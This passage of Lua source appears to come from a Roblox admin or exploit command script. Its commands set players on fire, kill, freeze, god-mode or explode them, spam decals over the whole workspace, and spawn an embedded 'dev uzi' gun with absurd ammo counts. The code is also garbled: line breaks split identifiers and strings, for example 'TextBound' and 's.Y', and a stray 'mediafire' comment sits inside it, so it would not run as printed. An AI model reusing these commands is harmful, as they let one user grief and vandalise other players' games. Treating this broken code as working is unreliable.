
addcmd('unff', 'takes away ff from player',{'unff'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar:GetChildren()) do
if v1:IsA("ForceField") then
v1:Destroy()
end
end
end
end)

addcmd('fire', 'set a player on fire',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
local Fire1 = Instance.new("Fire", pchar.Head)
local Fire2 = Instance.new("Fire", pchar.Torso)
local Fire3 = Instance.new("Fire", pchar["Left Arm"])
local Fire4 = Instance.new("Fire", pchar["Right Arm"])
local Fire5 = Instance.new("Fire", pchar["Left Leg"])
local Fire6 = Instance.new("Fire", pchar["Right Leg"])
Fire1.Color = Color3.new((args[2]),(args[3]),(args[4]))
Fire1.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire2.Color = Color3.new((args[2]),(args[3]),(args[4]))
Fire2.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire3.Color = Color3.new((args[2]),(args[3]),(args[4]))
Fire3.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire4.Color = Color3.new((args[2]),(args[3]),(args[4]))
Fire4.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire5.Color = Color3.new((args[2]),(args[3]),(args[4]))
Fire5.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire6.Color = Color3.new((args[2]),(args[3]),(args[4]))
Fire6.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
end
end)

addcmd('nofire', 'extinguish a player',{'unfire'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar.Head:GetChildren()) do
if v1:IsA("Fire") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar.Torso:GetChildren()) do
if v1:IsA("Fire") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Left Arm"]:GetChildren()) do
if v1:IsA("Fire") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Right Arm"]:GetChildren()) do
if v1:IsA("Fire") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Left Leg"]:GetChildren()) do
if v1:IsA("Fire") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Right Leg"]:GetChildren()) do
if v1:IsA("Fire") then
v1:Destroy()
end
end
end
end)

addcmd('sparkles', 'give a player sparkles',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
local Sparkles1 = Instance.new("Sparkles", pchar.Head)
local Sparkles2 = Instance.new("Sparkles", pchar.Torso)
local Sparkles3 = Instance.new("Sparkles", pchar["Left Arm"])
local Sparkles4 = Instance.new("Sparkles", pchar["Right Arm"])
local Sparkles5 = Instance.new("Sparkles", pchar["Left Leg"])
local Sparkles6 = Instance.new("Sparkles", pchar["Right Leg"])
Sparkles1.Color = Color3.new((args[2]),(args[3]),(args[4]))
Sparkles2.Color = Color3.new((args[2]),(args[3]),(args[4]))
Sparkles3.Color = Color3.new((args[2]),(args[3]),(args[4]))
Sparkles4.Color = Color3.new((args[2]),(args[3]),(args[4]))
Sparkles5.Color = Color3.new((args[2]),(args[3]),(args[4]))
Sparkles6.Color = Color3.new((args[2]),(args[3]),(args[4]))
end
end)

addcmd('nosparkles', 'remove sparkles from a player',{'unsparkles'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar.Head:GetChildren()) do
if v1:IsA("Sparkles") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar.Torso:GetChildren()) do
if v1:IsA("Sparkles") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Left Arm"]:GetChildren()) do
if v1:IsA("Sparkles") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Right Arm"]:GetChildren()) do
if v1:IsA("Sparkles") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Left Leg"]:GetChildren()) do
if v1:IsA("Sparkles") then
v1:Destroy()
end
end
for j,v1 in pairs(pchar["Right Leg"]:GetChildren()) do
if v1:IsA("Sparkles") then
v1:Destroy()
end
end
end
end)

addcmd('smoke', 'give a player smoke',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
Instance.new("Smoke", pchar.Torso)
end
end)

addcmd('unsmoke', 'remove smoke from a player',{'nosmoke'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar.Torso:GetChildren()) do
if v1:IsA("Smoke") then
v1:Destroy()
end
end
end
end)

addcmd('btools', 'gives a player btools',{},


function(args)
local players = getPlayer(args[1])
if players ~= nil then
for i, v in pairs(players) do
Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 2
Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 3
Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 4
Notify('Gave ' .. gPlayers[v].Name .. ' btools')
end
end
end)

addcmd('devuzi', 'its da dev uzi',{},


function(args)
wait(0.001);

-----------------------------------------------------------------------------------
---

_clear=function()
local c={char;bag;gui;};
for i=1,#c do
local c=c[i]:children();
for i=1,#c do
if(c[i].Name==name)then
c[i].Parent=nil;
end;
end;
end;
local n=name..user.Name;
local c=workspace:children();
for i=1,#c do
if(c[i].Name==n)then
c[i].Parent=nil;
end;
end;
end;

_valid_key=function(object,key)
return object[key],key;
end;

_new=function(class)
return function(props)
if(type(list_base_props)=='table')then
for i,v in next,list_base_props do
if(props[i]==nil)then
props[i]=v;
end;
end;
end;

local object=class;

if(type(class)=='string')then
object=Instance.new(class:sub(1,1):upper()..class:sub(2));
end;

local parent=props[1];
props[1]=nil;

for i,v in next,props do


local
load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
if(not load)then
load,res,key=pcall(_valid_key,object,i);
end;
if(key)then
t=type(res);
s=tostring(res);
if(t=='userdata'and s=='Signal '..key)then
if(type(v)=='table')then
for i=1,#v do
res:connect(v[i]);
end;
else
res:connect(v);
end;
else
object[key]=v;
end;
end;
end;

if(parent)then
object.Parent=parent;
end;

return object;
end;
end;

_RGB=function(r,g,b)
return Color3.new(r/255,g/255,b/255);
end;

_copy=function(o)
local def=o.archivable;
o.archivable=true;
local c=o:clone();
o.archivable=def;
return c;
end;

_hum=function(char)
local hum=char:findFirstChild'Humanoid';
if(not hum or hum.className~='Humanoid')then
local c=char:children();
for i=1,#c do
if(c[i].className=='Humanoid')then
return c[i];
end;
end;
else
return hum;
end;
end;

_hum_tag=function(hum)
local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
c.Name='creator';
c.Value=user;
if(hum.Health==0 and not hum:findFirstChild'killed')then
Instance.new('BoolValue',hum).Name='killed';
bullets.clip=bullets.clip+10;
end;
end;

_hum_dam=function(hum,dam,percent)
hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
if(hum.Health<=hum.MaxHealth*0.1)then
_hum_tag(hum);
end;
end;

_ray=function(v0,v1,i)
local mag=(v0-v1).magnitude;
local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));

return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or
workspace.FindPartOnRay)(workspace,ray,i);
end;

_must=function(v0,v1,i)
local hit,pos=_ray(v0,v1,i);
return not hit and mouse.target or hit,pos;
end;

_cframe=function(x,y,z,r0,r1,r2)
return CFrame.Angles(
math.rad(r0 or 0),
math.rad(r1 or 0),
math.rad(r2 or 0)
)*CFrame.new(x,y,z);
end;

_update=function()
if(bool_active and not screen.Parent)then
screen.Parent=gui;
elseif(not bool_active and screen.Parent)then
screen.Parent=nil;
end;
end;

_light=function(v0,v1)
local mag=(v0-v1).magnitude;
local len=math.random(2,7);
len=len>mag/2 and mag/2 or len;

local light=_new'part'{
cFrame=CFrame.new(v0,v1);
size=Vector3.new(1,1,1);
color=_RGB(255,255,0);
anchored=true;
inv;
};
_new'blockMesh'{
scale=Vector3.new(0.2,0.2,len);
offset=Vector3.new(0,0,-len/2);
light;
};

local bb=_new'billboardGui'{
size=UDim2.new(2,0,2,0);
adornee=light;
light;
};
_new'imageLabel'{
image=url:format(109101526);
backgroundTransparency=1;
size=UDim2.new(1,0,1,0);
bb;
};

_rem(light,0.15);
end;

_rem=function(object,del)
if(del)then
delay(del,function()
if(object.Parent)then
object.Parent=nil;
end;
end);
else
pcall(function()
if(object.Parent)then
object.Parent=nil;
end;
end);
end;
end;

_blood=function(pos,count)
for i=1,count do
local p=_new'part'{

rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;

position=pos+Vector3.new(math.random(),math.random(),math.random());

velocity=Vector3.new(math.random(),math.random(),math.random())*50;

size=Vector3.new(math.random(),math.random(),math.random())/3;
color=_RGB(255,0,0);
transparency=0.5;
canCollide=true;
bottomSurface=0;
topSurface=0;
formFactor=3;
locked=true;
inv;
};
delay(5,function()
p.Parent=nil;
end);
end;
end;

_make_hue=function()
h_hue=_new'part'{
size=Vector3.new(0.25,1.8,0.35);
color=_RGB(100,100,100);
formFactor=3;
name='hue';
handle;
};
hh_weld=_new'weld'{
c1=_cframe(0,0.5,0);
part0=handle;
part1=h_hue;
handle;
};
end;

_shot=function(v0,v1)
if(not time_left)then
time_left=0;
end;
if(time_left>time())then
return nil;
else
time_left=time()+math.random(1,10)/100;
end;

if(bullets.current<1)then
local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
soundId='rbxasset://sounds/SWITCH3.wav';
name='tick_sound';
volume=0.2;
pitch=2;
head;
};
tick_sound:play();
if(bullets.clip>0)then
time_left=time()+2;
h_hue:breakJoints();
h_hue.CanCollide=true;

h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
_rem(h_hue,10);
delay(1.9,function()
_make_hue();
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;

bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
end);
end;
return nil;
else
bullets.current=bullets.current-1;

h_weld.C1=_cframe(0,0.75,0,
-math.random(1000,1100)/10,180,0);
d_weld.C1=_cframe(0,-0.25,0.3);

lightstuff.Visible=true;
delay(0.1,function()
lightstuff.Visible=false;
end);

_rem(_new'part'{
velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-
4,-5,0)).p).lookVector*10;
cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
size=Vector3.new(0.1,0.1,0.4);
color=_RGB(200,200,0);
material='Slate';
canCollide=true;
formFactor=3;
inv;
},5);
delay(0.1,function()
d_weld.C1=_cframe(0,-0.25,0);
if(bool_active)then
h_weld.C1=h_weld_cf_active;
end;
end)
end;

local hit,pos=_must(v0,v1,char);

shot_sound:play();

_light(v0,v1);

if(not hit)then return nil;end;

if(hit.Parent.className=='Hat')then
hit:breakJoints();
hit.CanCollide=true;
hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);

hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
else
local hum=_hum(hit.Parent);
if(not hum)then
if(hit.Anchored==false and hit.Size.magnitude<4)then
hit:breakJoints();
hit.CanCollide=true;
end;
else
_hum_dam(hum,math.random(4,6));
_blood(pos,math.random(3,6));

hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/
6;
if(hit.Name=='Head')then
hum.Health=0;
_blood(pos,math.random(3,6));
delay(0.001,function()

_new(workspace:FindFirstChild'head_shot'or'sound'){
pitch=math.random(70,100)*0.01;
soundId=url:format(1876552);
name='head_shot';
workspace;
}:play();
end);
_hum_tag(hum);
_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-
(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
color=torso.Color;
transparency=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},30);
hit.Parent=nil;
for b=0,1 do
for a=0,1 do
for i=0,1 do
_rem(_new'part'{

velocity=CFrame.new(v0,pos).lookVector*20;

cFrame=hit.CFrame*CFrame.new(i,-b,a);

size=Vector3.new(0.5,0.5,0.5);

color=_RGB(255,255,255);
bottomSurface=0;
canCollide=true;
transparency=0;
formFactor=3;
topSurface=0;
hum;
},30);
end;
end;
end;
end;
end;
end;
end;

-----------------------------------------------------------------------------------
-----

_cf_select=function(mouse)
mouse.Icon=url:format(109111387);--108999296
bool_active=true;

local arm=char:findFirstChild'Right Arm';


local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
h_weld.Part0=arm;
h_weld.C1=h_weld_cf_active;

weld.Part1=nil;
weld.Part0=nil;
weld=_new(torso:findFirstChild'right_arml'or'weld'){
name='right_arml';
part0=torso;
part1=arm;
torso;
};

arml=(arml or 0)+1;
local alv=arml;
local gyro=torso:findFirstChild'p_gyro'or
Instance.new('BodyGyro',torso);
gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
gyro.P=30000;
gyro.D=1000;
gyro.Name='p_gyro';
repeat
local pos=mouse.hit.p;
local val,valp,p0,p1,p2,hitpos,cj,c0,c1;

val=-math.pi*0.5;
valp=val*-1;
p0=torso.CFrame;
p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+
(p0*CFrame.Angles(0,val,0)).lookVector;
p1=p0+((p0.p-pos).unit*-2);
p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
hitpos=torso.Position;
cj=CFrame.new(hitpos);
c0=torso.CFrame:inverse()*cj;
c1=p2:inverse()*cj;
weld.C0=c0;
weld.C1=c1;

gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));

wait(0.001);
until arml~=alv;
gyro.Parent=nil;
end;
end;

_cf_deselect=function()
bool_active=false;
arml=(arml or 0)+1;
loop_shot=(loop_shot or 0)+1;

h_weld.Part0=torso;
h_weld.C1=h_weld_cf_inactive;

local weld=torso:findFirstChild'right_arml';
if(weld)then
weld.Part1=nil;
weld.Part0=nil;
end;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
weld.Part0=torso;
weld.Part1=arm;
end;
end;

_cf_mouse=function(event,fun)
mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
if(bool_active)then
fun(...);
end;
end);
end;

-----------------------------------------------------------------------------------
-----

do
local main=getfenv(0);
local c=game:children();
local check=function(v)
if(v.className~=''and v.className~='Instance'and
game:service(v.className))then
main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
end;
end;
for i=1,#c do
pcall(check,c[i]);
end;
end;

-----------------------------------------------------------------------------------
-----

bullets={
maximum=51111111111111111111111111110;
current=511111111111111111111111111111110;
clip=501111111111111111111111111111111*4;
};

list_base_props={
backgroundColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
borderSizePixel=0;
color=_RGB(0,0,0);
archivable=false;
canCollide=false;
bottomSurface=0;
topSurface=0;
formFactor=0;
locked=true;
};

-----------------------------------------------------------------------------------
-----

user=players.localPlayer;
mouse=user:getMouse();
char=user.Character;
gui=user.PlayerGui;
bag=user.Backpack;
torso=char.Torso;
head=char.Head;
hum=_hum(char);

url='rbxassetid://%d';
name='dev-uzi';

h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
0,90,-70);
h_weld_cf_active=_cframe(0,0.75,0,
-110,180,0);

assert(hum,'humanoid is not found');

-----------------------------------------------------------------------------------
-----

_clear();

-----------------------------------------------------------------------------------
-----

_cf_mouse('button1Down',function()
loop_shot=(loop_shot or 0)+1;
local vers=loop_shot;
local step=runService.Stepped;
repeat
_shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
step:wait();--wait(0.001);
until vers~=loop_shot;
end);

_cf_mouse('button1Up',function()
loop_shot=(loop_shot or 0)+1;
end);

_cf_mouse('move',function()
cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
end);

_cf_mouse('keyDown',function(k)
if(k=='r')then
if(bullets.clip>0 and time_left<=time())then
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;

bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
if(got~=0)then
time_left=time()+2;
end;
end;
end;
end);

-----------------------------------------------------------------------------------
-----
screen=_new'screenGui'{
name=name;
};

cross_f=_new'frame'{
size=UDim2.new(0,21,0,21);
backgroundTransparency=1;
screen;
};

for i=0,1 do
_new'frame'{
position=UDim2.new(0,13*i,0,11);
size=UDim2.new(0,10,0,1);
cross_f;
};
end;

for i=0,1 do
_new'frame'{
position=UDim2.new(0,11,0,13*i);
size=UDim2.new(0,1,0,10);
cross_f;
};
end;

-----------------------------------------------------------------------------------
-----

shot_sound=_new(head:findFirstChild'2920959'or'sound'){
soundId=url:format(2920959);
pitch=1.4;
head;
};
if(shot_sound.Name~='2920959')then
shot_sound.Name='2920959';
shot_sound:play();
end;

bin=_new'hopperBin'{
deselected=_cf_deselect;
selected=_cf_select;
name=name;
bag;
};

inv=_new'model'{
name=name;
char;
};

handle=_new'part'{
size=Vector3.new(0.3,1.3,0.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
inv;
touched=function(hit)
if(hit.Parent.className=='Model')then
local hum=_hum(hit.Parent);
if(hum~=nil)then
_hum_dam(hum,handle.Velocity.magnitude);
end;
end;
end;
};
h_weld=_new'weld'{
c1=h_weld_cf_inactive;
part1=handle;
part0=torso;
handle;
};
_make_hue();

h_part=_new'part'{
size=Vector3.new(0.4,0.4,1.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
handle;
};
hp_weld=_new'weld'{
c1=_cframe(0,-1.3/2,-0.3,
20,0,0);
part0=handle;
part1=h_part;
handle;
};

drag=_new'part'{
size=Vector3.new(0.5,0.45,1.5);
color=_RGB(100,100,100);
name='handle';
formFactor=3;
handle;
};
d_weld=_new'weld'{
c1=_cframe(0,-0.25,0);
part0=h_part;
part1=drag;
handle;
};

tube=_new'part'{
size=Vector3.new(0.2,0.2,1.5);
color=_RGB(0,0,0);
name='handle';
formFactor=3;
handle;
};
t_weld=_new'weld'{
c1=_cframe(0,-0.3,-0.1);
part0=h_part;
part1=tube;
handle;
};
bullets_label=_new'textLabel'{
textStrokeColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
textStrokeTransparency=0;
backgroundTransparency=1;
fontSize=5;
screen;
};

lightstuff=_new'frame'{
backgroundColor3=_RGB(255,255,255);
position=UDim2.new(0,0,0,-1);
backgroundTransparency=0.5;
size=UDim2.new(1,0,1,1);
borderSizePixel=0;
visible=false;
screen;
};

coroutine.wrap(function()
local red,white,green;
repeat
if(screen.Parent)then
if(not green and bullets.current==bullets.maximum)then
green=true;
bullets_label.TextColor3=_RGB(0,200,0);
elseif(not red and bullets.current==0)then
red=true;
bullets_label.TextColor3=_RGB(200,0,0);
elseif((red or green)and bullets.current~=0 and
bullets.current~=bullets.maximum)then
bullets_label.TextColor3=_RGB(200,200,200);
green=false;
red=false;
end;
bullets_label.Text=('Bullets:
%d/%d'):format(bullets.current,bullets.clip);

bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBound
s.Y);
bullets_label.Position=UDim2.new(1,-
bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
end;
wait(0.001);
until nil;
end)();

-----------------------------------------------------------------------------------
-----

_G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
local vers=_G.dev_pistol_version;
repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
if(hum.Health==0)then
_clear();
end;
script.Disabled=true;

--
mediafire--------------------------------------------------------------------------
---

end)

addcmd('draw', 'drawing tool',{},


function(args)
for i,v in next,game:children()do
pcall(function()
local c=v.className;
rawset(getfenv(0),c:sub(1,1):lower()..c:sub(2),game:service(c));
end);
end;

user=players.LocalPlayer;
uname=user.Name;
guis=user.PlayerGui;
pack=user.Backpack;

keyDowns={};
freeKeys={};
shortcuts={};

_G.mine=_G.mine or{};

name='Draw3D';
url='http://www.roblox.com/asset/?id=%d';

iconNormal=url:format(96578285);
iconOnDown=url:format(96584484);

ver=0;
drawPixel=0.10;
_G.drawLimit=_G.drawLimit or 1000;

_G.drawColor=_G.drawColor or Color3.new();

destroy=game.remove;
find=game.findFirstChild;
new=Instance.new;
with=function(c)
return function(p)
local o=type(c)=='string'and new(c)or c;
local x=p.Parent;p.Parent=nil;
for i,v in next,p do
o[i]=v;
end;
if(x)then
o.Parent=x;
end;
return o;
end;
end;
getPlace=function()
if(find(workspace,'draw')==nil)then
new('Model',workspace).Name='draw';
end;
if(find(workspace.draw,uname)==nil)then
new('Model',workspace.draw).Name=uname;
end;
return workspace.draw[uname];
end;
drawLine=function(start,target)
local gui=with'BlockMesh'{
Parent=with'Part'{
CFrame=CFrame.new(start,target)*CFrame.new(0,0,-(start-
target).magnitude/2);
Size=Vector3.new(drawPixel,drawPixel,(start-
target).magnitude+.325*drawPixel);
Parent=getPlace();
Color=_G.drawColor;
BottomSurface=0;
Anchored=true;
TopSurface=0;
formFactor=3;
Name=name;
}}.Parent;
table.insert(_G.mine,gui);
return gui;
end;
onDown=function()
if(drawing)then
return nil;
end;
if(selectGui.Adornee)then
destroy(selectGui.Adornee);
end;

drawing=true;

mouse.Icon=iconOnDown;
ver=ver+1;

local cVer,start,target=ver,mouse.hit.p;

local group={};
repeat
Wait(0.02);

if(mouse.target and mouse.target.Name~=name and mouse.hit.p~=start)then

target=mouse.hit.p;

table.insert(group,drawLine(start,target));

start=target;
end;
until ver~=cVer;
drawing=false;
local groupM=new('Model',getPlace());
for i,v in next,group do
if(v:IsDescendantOf(Workspace))then
v.Parent=groupM;
end;
end;
if(next(groupM:children())==nil)then
destroy(groupM);
end;
end;
onUp=function()
mouse.Icon=iconNormal;
ver=ver+1;
end;
onKeyDown=function(k)
if(freeKeys[k]==false)then
return false;
end;
freeKeys[k]=false;
Wait(0.01);
if(keyDowns[k])then
keyDowns[k]();
elseif(shortcuts[k])then
shortcuts[k]();
end;
end;
onKeyUp=function(k)
freeKeys[k]=true;
end;
onMove=function()

end;
onSelect=function(lmouse)
frame.Visible=true;

mouse=lmouse;

mouse.Icon=iconNormal;

mouse.Button1Down:connect(onDown);
mouse.KeyDown:connect(onKeyDown);
mouse.Button1Up:connect(onUp);
mouse.KeyUp:connect(onKeyUp);
mouse.Move:connect(onMove);
end;
onDeselect=function()
ver=ver+1;
frame.Visible=false;
selectGui.Adornee=nil;
mouse.Icon=iconNormal;
for i,v in next,freeKeys do
freeKeys[i]=true;
end;
end;
addButton=function(title,shortcut,fun)
with'TextButton'{
Text=string.format(' %s (%s)',title,shortcut);
TextXAlignment=0;
Parent=frame;
}.MouseButton1Up:connect(fun);

shortcuts[shortcut]=fun;

local c=#frame:children();
for i,v in next,frame:children()do
v.Position=UDim2.new(0,0,0,20*(i-1));
v.Size=UDim2.new(1,0,0,20);
end;

frame.Position=UDim2.new(1,-152,.5,-c*10);
frame.Size=UDim2.new(0,150,0,c*20);
end;

for i,v in next,{guis;pack;}do


pcall(function()
repeat until destroy(v[name]);
end);
end;

tool=with'HopperBin'{
Parent=pack;
Name=name;
};
tool.Deselected:connect(onDeselect);
tool.Selected:connect(onSelect);

screen=with'ScreenGui'{
Parent=guis;
Name=name;
};
frame=with'Frame'{
Parent=screen;
Visible=false;
};
clframe=with'Frame'{
Position=UDim2.new(.5,-50,.5,-50);
Size=UDim2.new(0,100,0,100);
Visible=false;
Parent=screen;
};
selectGui=with'SelectionBox'{
Parent=screen;
};

local c=0;
for y=0,7 do
for x=0,7 do
local color=BrickColor.palette(c).Color;

with'ImageButton'{
Position=UDim2.new(.125*x,0,.125*y);
Size=UDim2.new(.125,0,.125);
BackgroundColor3=color;
Parent=clframe;
}.MouseButton1Up:connect(function()
clframe.Visible=false;
_G.drawColor=color;
end);

c=c+1;
end;
end;

addButton('Color','c',function()
clframe.Visible=true;
end);
addButton('Remove your draws','r',function()
repeat
destroy(_G.mine[1]);
table.remove(_G.mine,1);
Wait(0.01);
until nil;
end);
addButton('Remove global draws','k',function()
destroy(workspace.draw);
while(_G.mine[1])do
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
end);
addButton('Remove selected','x',function()
repeat
if(find(workspace,'draw'))then
local dt=mouse.target;
if(dt and dt:IsDescendantOf(workspace.draw))then
selectGui.Adornee=dt.Parent;
else
selectGui.Adornee=nil;
end;
else
selectGui.Adornee=nil;
end;
Wait(0.01);
until freeKeys.x;
selectGui.Adornee=nil;
end);

repeat
Wait(0.01);
if(next(_G.mine)and _G.mine[_G.drawLimit])then
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
until script.Parent==nil or tool.Parent==nil;
script.Disabled=true;
destroy(screen);

end)

addcmd('god', 'gods player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
if pchar then pchar.Humanoid.MaxHealth=math.huge end
end
end)

addcmd('sgod', 'silently gods player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
spawn(function()
pchar.Humanoid.MaxHealth = 10000000
wait()
pchar.Humanoid.Health = 10000000
Notify('Godded ' .. gPlayers[v].Name)
end)
end
end)

addcmd('ungod', 'removes god from a player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
if pchar then
pchar.Humanoid.MaxHealth=100
pchar.Humanoid.Health=100
end
end
end)

addcmd('heal', 'resets a players health',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
if pchar then pchar.Humanoid.Health=pchar.Humanoid.MaxHealth;end
end
end)

addcmd('decalspam', 'you can already guess...',{},


function(args)
Notify('Decal Spammed ID: ' ..args[1])
decalID = args[1]
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
end)

addcmd('sky', 'sets the sky',{},


function(args)
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
skyboxID = args[1]
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
end)

addcmd('freeze', 'freezes a player',{'freeze'},


function(args)
local players = getPlayer(args[1])
if players ~= nil then
for i, v in pairs(players) do
_char(v).Torso.Anchored = true
end
end
end)
addcmd('thaw', 'unfreezes a player',{},
function(args)
local players = getPlayer(args[1])
if players ~= nil then
for i, v in pairs(players) do
_char(v).Torso.Anchored = false
end
end
end)

addcmd('kill', 'kills a player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
if pchar then pchar.Humanoid.MaxHealth=0;pchar.Humanoid.Health=0;end
Notify('RIP ' .. gPlayers[v].Name)
end
end)

addcmd('sound', 'plays a sound',{},


function(args)
local function dels(instance)
for i,v in pairs(instance:GetChildren())do
if v:IsA'Sound'then v:Destroy()end
dels(v)
end
end
dels(workspace)

local c = args[1] or 'stop'


if std.inTable({'stop'}, c:lower()) then return end
local s = Instance.new("Sound", workspace)
s.Name = "IYsound"
s.Looped = true
s.SoundId = "rbxassetid://" .. c
s.Volume = 1
s:Play()
Notify('Playing ' .. c)
end)

addcmd('volume','changes volume of sound',{},


function(args)
for i,v in pairs(game.Workspace:GetChildren())do
if v:IsA("Sound") and v.Name == "IYsound" then
v.Volume = args[1]
Notify('Changed volume to ' .. args[1])
end
end
end)

addcmd('pitch','changes pitch of sound',{},


function(args)
for i,v in pairs(game.Workspace:GetChildren())do
if v:IsA("Sound") and v.Name == "IYsound" then
v.Pitch = args[1]
Notify('Changed pitch to ' .. args[1])
end
end
end)

addcmd('explode', 'explode a player', {},


function(args)
local players = getPlayer(args[1])
for i, v in pairs(players) do
local char = _char(v)
if char:FindFirstChild("Torso") then
